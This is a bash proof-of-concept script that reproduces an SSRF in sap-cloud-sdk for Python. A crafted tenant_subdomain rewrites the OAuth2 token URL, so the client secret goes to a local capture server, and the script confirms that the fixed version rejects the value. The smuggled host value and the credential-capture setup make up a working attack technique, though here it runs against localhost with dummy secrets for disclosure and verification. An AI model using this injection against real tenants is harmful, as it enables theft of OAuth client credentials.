#!/bin/bash
# CVE-2026-89111 reproduction: OAuth2 SSRF in SAP Cloud SDK for Python
# (sap-cloud-sdk < 0.45.2) via attacker-controlled tenant_subdomain.
#
# Mechanism: sap_cloud_sdk.destination._http.TokenProvider.get_token()
# derives the per-tenant OAuth2 token URL with
#     token_url.replace(identityzone, tenant_subdomain)
# without validating tenant_subdomain. A malicious value such as
# "127.0.0.1:<port>/capture?" rewrites the token URL host, so the
# client-credentials POST (client_id + client_secret) is sent to an
# attacker-controlled server. Fixed version 0.45.2 validates the value
# against RFC 1123 DNS label rules and raises ValueError.
#
# Exit 0 = vulnerability confirmed (vuln leaks credentials, fixed rejects)
# Exit 1 = not reproduced
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOG") 2>&1

VULN_VERSION="0.45.1"
FIXED_VERSION="0.45.2"
VENV="$REPRO_DIR/venv"
WHEELS="$REPRO_DIR/wheels"
CLIENT_SECRET="TOP-SECRET-CLIENT-SECRET"
CLIENT_ID="sb-destination-client"

echo "=== CVE-2026-89111 reproduction ==="
echo "ROOT=$ROOT"

# ---------------------------------------------------------------- helpers
write_manifest() {
    # args: service_started healthcheck target_reached notes
    local service_started="$1" healthcheck="$2" reached="$3" notes="$4"
    local py="$VENV_PY"
    [ -x "$py" ] || py="$(command -v python3)"
    "$py" - "$service_started" "$healthcheck" "$reached" "$notes" <<'PYEOF'
import hashlib, json, os, sys

root = os.environ["PRUVA_ROOT"]
service_started, healthcheck, reached = (a == "true" for a in sys.argv[1:4])
notes = sys.argv[4]

artifacts = []
sha_map = {}
candidates = [
    "logs/attacker_server.log",
    "logs/healthcheck.txt",
    "logs/harness_vuln_result.json",
    "logs/harness_fixed_result.json",
    "logs/proof_vuln_capture.jsonl",
    "logs/proof_fixed_capture.jsonl",
]
for rel in candidates:
    p = os.path.join(root, rel)
    if os.path.isfile(p):
        artifacts.append(rel)
        with open(p, "rb") as fh:
            sha_map[rel] = hashlib.sha256(fh.read()).hexdigest()

wheel = os.path.join(root, "repro", "wheels", "sap_cloud_sdk-0.45.1-py3-none-any.whl")
target_digest = None
if os.path.isfile(wheel):
    with open(wheel, "rb") as fh:
        target_digest = hashlib.sha256(fh.read()).hexdigest()

import platform
arch = platform.machine() or "unknown"
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "sap_cloud_sdk.destination._http.TokenProvider.get_token(tenant_subdomain=<attacker-controlled>)",
    "service_started": service_started,
    "healthcheck_passed": healthcheck,
    "target_path_reached": reached,
    "runtime_stack": ["python", "sap-cloud-sdk", "requests-oauthlib", "http.server attacker capture endpoint"],
    "target_identity": {
        "repository_url": "https://pypi.org/project/sap-cloud-sdk/",
        "target_digest": target_digest,
        "platform": "linux",
        "architecture": "x86_64" if arch in ("x86_64", "amd64") else arch,
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": sha_map,
    "notes": notes,
}
with open(os.path.join(root, "repro", "runtime_manifest.json"), "w") as fh:
    json.dump(manifest, fh, indent=2)
print("runtime_manifest.json written")
PYEOF
}

fail() {
    echo "FAIL: $1"
    write_manifest "${SERVICE_STARTED:-false}" "${HEALTHCHECK:-false}" "false" "$1" || true
    exit 1
}

# ---------------------------------------------------------------- setup
python3 -c 'import sys; assert sys.version_info >= (3, 11), sys.version' \
    || fail "python3 >= 3.11 required (sap-cloud-sdk Requires-Python >=3.11)"

VENV_PY="$VENV/bin/python"
mkdir -p "$WHEELS"

echo "--- downloading pinned wheels (immutable build identity) ---"
[ -f "$WHEELS/sap_cloud_sdk-${VULN_VERSION}-py3-none-any.whl" ] || \
    python3 -m pip download --quiet --no-deps -d "$WHEELS" \
    "sap-cloud-sdk==$VULN_VERSION" || fail "pip download of vulnerable wheel failed"
[ -f "$WHEELS/sap_cloud_sdk-${FIXED_VERSION}-py3-none-any.whl" ] || \
    python3 -m pip download --quiet --no-deps -d "$WHEELS" \
    "sap-cloud-sdk==$FIXED_VERSION" || fail "pip download of fixed wheel failed"
VULN_WHEEL="$WHEELS/sap_cloud_sdk-${VULN_VERSION}-py3-none-any.whl"
FIXED_WHEEL="$WHEELS/sap_cloud_sdk-${FIXED_VERSION}-py3-none-any.whl"
[ -f "$VULN_WHEEL" ] || fail "vulnerable wheel missing"
[ -f "$FIXED_WHEEL" ] || fail "fixed wheel missing"
echo "vuln wheel sha256: $(sha256sum "$VULN_WHEEL" | cut -d' ' -f1)"
echo "fixed wheel sha256: $(sha256sum "$FIXED_WHEEL" | cut -d' ' -f1)"

if [ ! -x "$VENV_PY" ]; then
    echo "--- creating venv ---"
    python3 -m venv "$VENV" || fail "venv creation failed"
    "$VENV_PY" -m pip install --quiet --upgrade pip || fail "pip upgrade failed"
fi

echo "--- installing sap-cloud-sdk==$VULN_VERSION (vulnerable) ---"
"$VENV_PY" -m pip install --quiet "$VULN_WHEEL" || fail "vulnerable install failed"
"$VENV_PY" -c 'import importlib.metadata; v=importlib.metadata.version("sap-cloud-sdk"); assert v=="'"$VULN_VERSION"'", v; print("installed:", v)' \
    || fail "vulnerable version assertion failed"

# ---------------------------------------------------------------- attacker server
PORT="$("$VENV_PY" - <<'PYEOF'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PYEOF
)"
echo "--- attacker port: $PORT ---"

# Self-signed TLS cert for the attacker server so the OAuth2 client keeps
# using https exactly as in production (oauthlib enforces https).
TLS_DIR="$REPRO_DIR/attacker_tls"
mkdir -p "$TLS_DIR"
CERT_PEM="$TLS_DIR/cert.pem"
KEY_PEM="$TLS_DIR/key.pem"
if [ ! -s "$CERT_PEM" ] || [ ! -s "$KEY_PEM" ]; then
    openssl req -x509 -newkey rsa:2048 -nodes \
        -keyout "$KEY_PEM" -out "$CERT_PEM" -days 2 \
        -subj "/CN=127.0.0.1" \
        -addext "subjectAltName=IP:127.0.0.1" \
        -addext "basicConstraints=critical,CA:TRUE" >/dev/null 2>&1 \
        || fail "openssl self-signed cert generation failed"
fi

CAPTURE="$LOGS/attacker_capture.jsonl"
: > "$CAPTURE"
"$VENV_PY" "$REPRO_DIR/attacker_server.py" "$CAPTURE" "$PORT" "$CERT_PEM" "$KEY_PEM" \
    > "$LOGS/attacker_server.log" 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 1
kill -0 "$SERVER_PID" 2>/dev/null || fail "attacker server failed to start"
SERVICE_STARTED=true

CODE="$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 --cacert "$CERT_PEM" "https://127.0.0.1:$PORT/healthcheck" || true)"
echo "$CODE" > "$LOGS/healthcheck.txt"
[ "$CODE" = "200" ] || fail "attacker server healthcheck failed (got '$CODE')"
HEALTHCHECK=true
echo "--- attacker server healthy ---"

# ---------------------------------------------------------------- vulnerable attempt
: > "$CAPTURE"   # drop healthcheck entry
echo "--- VULNERABLE attempt: sap-cloud-sdk==$VULN_VERSION ---"
REQUESTS_CA_BUNDLE="$CERT_PEM" "$VENV_PY" "$REPRO_DIR/harness.py" "$PORT" "$LOGS/harness_vuln_result.json" \
    || echo "(vulnerable harness exited non-zero)"
cp "$CAPTURE" "$LOGS/proof_vuln_capture.jsonl"

VULN_OK=false
if grep -q "$CLIENT_SECRET" "$LOGS/proof_vuln_capture.jsonl" \
   && grep -q "$CLIENT_ID" "$LOGS/proof_vuln_capture.jsonl" \
   && grep -q '"status": "token_returned"' "$LOGS/harness_vuln_result.json" \
   && grep -q 'ATTACKER_ISSUED_TOKEN' "$LOGS/harness_vuln_result.json"; then
    VULN_OK=true
fi
echo "vulnerable attempt leaked credentials to attacker server: $VULN_OK"

# ---------------------------------------------------------------- fixed attempt
echo "--- installing sap-cloud-sdk==$FIXED_VERSION (fixed) ---"
"$VENV_PY" -m pip install --quiet --no-deps --force-reinstall "$FIXED_WHEEL" \
    || fail "fixed install failed"
"$VENV_PY" -c 'import importlib.metadata; v=importlib.metadata.version("sap-cloud-sdk"); assert v=="'"$FIXED_VERSION"'", v; print("installed:", v)' \
    || fail "fixed version assertion failed"

: > "$CAPTURE"
echo "--- FIXED attempt: sap-cloud-sdk==$FIXED_VERSION ---"
REQUESTS_CA_BUNDLE="$CERT_PEM" "$VENV_PY" "$REPRO_DIR/harness.py" "$PORT" "$LOGS/harness_fixed_result.json" \
    || echo "(fixed harness exited non-zero)"
cp "$CAPTURE" "$LOGS/proof_fixed_capture.jsonl"

FIXED_OK=false
if grep -q '"status": "rejected"' "$LOGS/harness_fixed_result.json" \
   && grep -q 'Invalid tenant_subdomain' "$LOGS/harness_fixed_result.json" \
   && ! grep -q "$CLIENT_SECRET" "$LOGS/proof_fixed_capture.jsonl"; then
    FIXED_OK=true
fi
echo "fixed attempt rejected malicious tenant_subdomain with no outbound request: $FIXED_OK"

# stop server so proof artifacts are immutable before hashing
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
trap - EXIT

# ---------------------------------------------------------------- verdict
echo "=== SUMMARY ==="
echo "vulnerable credential exfiltration: $VULN_OK"
echo "fixed validation rejects + no request: $FIXED_OK"

if [ "$VULN_OK" = "true" ] && [ "$FIXED_OK" = "true" ]; then
    write_manifest true true true "confirmed: sap-cloud-sdk $VULN_VERSION sent OAuth2 client credentials to attacker-controlled server via malicious tenant_subdomain; $FIXED_VERSION rejects it with ValueError and sends nothing"
    echo "RESULT: CONFIRMED (CVE-2026-89111)"
    exit 0
fi

write_manifest true true false "not reproduced: vuln_ok=$VULN_OK fixed_ok=$FIXED_OK"
echo "RESULT: NOT REPRODUCED"
exit 1
